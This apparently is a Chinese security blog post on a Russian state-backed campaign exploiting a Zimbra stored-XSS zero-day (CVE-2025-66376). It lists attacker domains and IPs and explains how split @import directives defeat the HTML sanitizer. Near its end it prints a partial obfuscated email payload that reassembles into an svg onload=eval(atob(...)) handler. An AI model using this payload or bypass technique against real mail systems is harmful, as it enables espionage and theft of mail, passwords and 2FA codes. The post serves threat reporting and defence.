原创
金夏
金夏
金夏安全
2026年7月24日%2016:42
广东
在小说阅读器读本章
去阅读
免责声明
本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动，由于传播、利用此文所提供的内容或工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关，文中所涉及的所有IOC（入侵指标）均来自公开威胁情报报告，版权归原作者所有。如有内容争议或侵权，请及时联系我们。
无需点击任何链接，只需预览邮件，你的全部邮件、密码、2FA验证码就已落入黑客手中
一、事件描述
如果你还在用Zimbra邮件系统，请立刻停下来——你的邮箱可能已经被入侵了。
2026年7月23日，美国网络安全和基础设施安全局（CISA）联合美国国家安全局（NSA）、联邦调查局（FBI）以及英国、加拿大、澳大利亚、新西兰、荷兰、法国、德国等16个国家的网络安全机构，发布了一份重磅联合警告（AA26-204A）。
美国（NSA、FBI、CISA、DCSA、DC3、财政部、NCIS）荷兰（MIVD、AIVD）澳大利亚（ASD’s%20ACSC）加拿大（CSE’s%20Cyber%20Centre）新西兰（NCSC-NZ）英国（NCSC-UK）捷克（NÚKIB）丹麦（DDIS）爱沙尼亚（EFIS）芬兰（FDI、SUPO）法国（DGSI、ANSSI）意大利（AISE、AISI）摩尔多瓦（SIS%20RM）波兰（AW、SKW）西班牙（CNI）瑞典（NCSC-SE）
这份警告揭露了一个俄罗斯政府支持的APT组织——Laundry%20Bear（又名Void%20Blizzard、TA488）
利用Zimbra邮件系统的零日漏洞（CVE-2025-66376），对全球政府、国防、能源等关键机构发起大规模网络间谍活动。
英国安全大臣丹·贾维斯（Dan%20Jarvis）对此评价称：“这些行为者是‘暴徒’，尤其令人担忧的是，他们的攻击方法先在乌克兰进行测试，然后才转向针对联盟成员国。”
攻击最早可追溯至2025年7月，至今仍在持续。截至CISA报告发布时，已有超过10个使用ZCS软件的组织被成功入侵。
最可怕的是：攻击者只需要给你发一封邮件，你甚至不用点击任何东西，只要在网页邮箱里“预览”或“打开”它，你的所有邮件、密码、双重验证备用码就已经被偷走了。
| 时间 | 事件 |
|---|---|
| 2024年4月 | Laundry%20Bear开始活跃，针对北约成员国政府、国防承包商和航空企业发起攻击 |
| 2024年7月 | 成功入侵乌克兰一家航空组织，该组织曾于2022年被俄罗斯GRU组织攻击过 |
| 2024年9月23日 | 荷兰警方遭攻击%20，全体警员联系信息被窃取。荷兰AIVD/MIVD首次发现该组织 |
| 2024年下半年 | 针对国防承包商、航空航天企业发起国防供应链攻击 |
| 2025年4月 | 使用Evilginx2发起AiTM钓鱼攻击，针对20多个NGO组织，成功绕过MFA |
| 2025年5月27日 | 荷兰AIVD/MIVD和微软首次公开披露该组织 |
| 2025年7月 | 开始利用Zimbra零日漏洞（CVE-2025-66376）发起零点击攻击 |
| 2025年7月8日 | 首个恶意域名 zmailanalytics.com 上线（IP:%20216.252.238.104） |
| 2025年8月20日 | 恶意域名 zimbra-metadata.com 上线（IP:%20216.252.238.18） |
| 2025年9月 | 开始从被入侵的乌克兰邮箱（@isofts.kiev.ua、@navs.edu.ua）发送钓鱼邮件 |
| 2025年9月24日 | 恶意域名 analyticemailmeter.com 和 emailanalytics.com.ua 上线 |
| 2025年10月 | Payload增加XOR加密层，10字符密钥每轮不同，增强规避检测 |
| 2025年11月 | Synacor发布安全更新，修复CVE-2025-66376（10.0.18/10.1.13） |
| 2025年11月11日 | 恶意域名 mailnalysis.com 上线（IP:%20104.248.134.194） |
| 2025年11月20日 | CERT-UA捕获首个恶意邮件样本，仅Rising（瑞星）检出 |
| 2025年12月18日 | 恶意域名 zimbrastat.com 上线（IP:%2064.226.124.190） |
| 2026年1月5日 | CVE-2025-66376被公开收录至美国国家漏洞数据库（NVD），CVSS%207.2 |
| 2026年1月20日 | 恶意域名 zimbrasoft.com.ua 上线（IP:%20193.238.152.66） |
| 2026年1月22日 | 针对乌克兰水利/能源部门攻击邮件被捕获 |
| 2026年2月3日 | 恶意域名 synacorzimbra.nl 上线（IP:%20216.252.238.64，伪装Synacor官方） |
| 2026年2月5日 | 恶意域名 istc-cloud.com 上线（IP:%20194.156.103.193） |
| 2026年2月-3月 | 最后一批已知C2域名活跃，C2存活周期7-60天，活动进入观察期 |
| 2026年3月17日 | Seqrite发布 \"Operation%20GhostMail\" 报告，详细分析Zimbra%20XSS利用和C2基础设施 |
| 2026年3月18日 | CISA将CVE-2025-66376列入 \"已知被利用漏洞目录\"（KEV） ，要求联邦机构限期修复 |
| 2026年5月 | 美国司法部对Void%20Blizzard关联人员 Denis%20Obrezko提起刑事诉讼 |
| 2026年7月23日 | CISA联合16国发布AA26-204A紧急警告 |
| 主要代号 | Laundry%20Bear（荷兰AIVD/MIVD命名） |
| 其他代号 | Void%20Blizzard（微软）、TA488（Proofpoint）、CL-STA-1114（Palo%20Alto%20Unit%2042）、UAC-0190（乌克兰CERT） |
| 归属 | 俄罗斯政府支持%20（高度确信） |
| 活跃时间 | 至少从2024年4月起 |
| 攻击目的 | 地缘政治间谍活动，为俄罗斯政府窃取敏感情报 |
| 攻击成功率 | 高于其他俄罗斯威胁组织（荷兰AIVD/MIVD评估） |
| 关联企业 | Yutek-NN（俄罗斯网络安全公司），美国司法部起诉书将Void%20Blizzard活动与该公司关联 |
| 进化速度 | 从简单手法到自主开发零日漏洞，仅用不到两年时间 |
2024年9月23日，荷兰警方遭遇一起网络攻击，攻击者通过购买的被盗Cookie（Pass-the-Cookie攻击）成功入侵，窃取了全体警员的工作联系信息（全局地址列表）。
荷兰情报机构AIVD和MIVD在调查过程中，发现了一个此前不为人知的威胁组织，将其命名为 “Laundry%20Bear” 。微软独立追踪到同一组织，使用“天气”命名体系将其命名为 “Void%20Blizzard” 。Proofpoint将其跟踪为 “TA488” 。
Laundry%20Bear已确认攻击以下行业：
- 国防工业基地（DIB） ——军工企业、国防承包商
- 联邦及地方政府 ——政府部门、外交机构
- 教育机构 ——大学、研究机构
- 能源行业 ——电力、石油、天然气
- 执法部门 ——警察、司法机关
- 媒体机构 ——新闻组织
- 非政府组织（NGO） ——国际组织
- 科技行业 ——IT企业、通信公司
- 金融行业 ——银行、金融机构
- 交通运输 ——航空、物流
- 医疗行业 ——医院、医疗机构
重点攻击北约成员国和乌克兰。几乎所有北约国家都曾成为攻击目标。
Denis%20Obrezko（丹尼斯·奥布雷兹科）
| 属性 | 信息 |
|---|---|
| 姓名 | Denis%20Obrezko |
| 年龄 | 36岁 |
| 国籍 | 俄罗斯 |
| 职位 | Yutek-NN公司副总监（deputy%20director） |
| 司法状态 | 2026年6月从泰国引渡至美国，在波士顿联邦法院出庭 |
| 指控 | 参与Void%20Blizzard组织网络间谍活动 |
| 来源 | 美国司法部 |
Laundry%20Bear的攻击能力在过去两年间经历了三个阶段的显著进化：
初始攻击手法并不复杂，但非常有效：
- 购买窃取的凭证：从网络犯罪市场购买被信息窃取恶意软件盗取的Cookie和登录凭证
- 密码喷洒（Password%20Spraying） ：用少量常用密码尝试大量账号
- “传递Cookie”攻击（Pass-the-Cookie） ：利用窃取的会话Cookie绕过认证
攻击手法开始升级，从“买现成的”转向“主动设局”：
- 使用开源工具Evilginx2搭建AiTM（中间人攻击） 钓鱼页面
- 伪造微软登录页面或“欧洲防务与安全峰会”注册页面
- 诱骗目标输入凭证，实时拦截密码和会话Cookie
- 成功绕过MFA（多因素认证）
这是最关键的转折点。CISA警告明确指出，这展现了Laundry%20Bear“部署日益复杂技术能力的意图和能力”：
- 自主开发零日漏洞（CVE-2025-66376）
- 自主研发完整的攻击框架：“Ulej”（Улей，俄语“蜂巢”）和“Flowerbed”（花坛）
- 攻击方式从“偷钥匙”进化为“用万能钥匙开所有门”
| 属性 | 信息 |
|---|---|
| CVE编号 | CVE-2025-66376 |
| 漏洞类型 | 存储型跨站脚本（Stored%20XSS） |
| CWE分类 | CWE-79（输入验证不恰当） |
| 影响组件 | Zimbra%20Collaboration%20Suite%20Classic%20UI |
| 受影响版本 | ZCS%2010.0.x（<%2010.0.18）、ZCS%2010.1.x（<%2010.1.13） |
| CVSS评分 | 7.2（高危） |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 用户交互 | 无（“零点击”） |
Zimbra%20Classic%20UI在处理HTML邮件内容时，对CSS的@import指令做了不充分的过滤和净化。
关键机制：
- Zimbra使用HTML净化器（Sanitizer）处理邮件内容
- 净化器对
@import指令的处理存在缺陷：当@import被拆分插入到标签名称或属性值中时，净化器会移除@import本身，但将剩余字符拼接成合法的HTML标签 - 浏览器解析时，将净化后的片段重新组合成可执行代码
攻击者将恶意标签拆分成多个片段，中间插入@import指令：
（图%20：示例电子邮件中的恶意负载）
原始恶意代码：
</scr@import FHBCuUYUGEQODuCrzISjiZsOR;ipt>WqRodzBMC</s<!--WmxNBeNgyFe@import WjTgoKQtWXrfBKAUnMVGQsKBFCvmwd;JbFJPbKH-->tyle><s@import;vg/KttsYfUnHEmwoXouXy/onlo@import zZhGLNPLxJ;ad=ev@import acXApYgYEaXwpIprFa;al(at@import poxscPRqHcoGoodXaFvoY;ob(
评论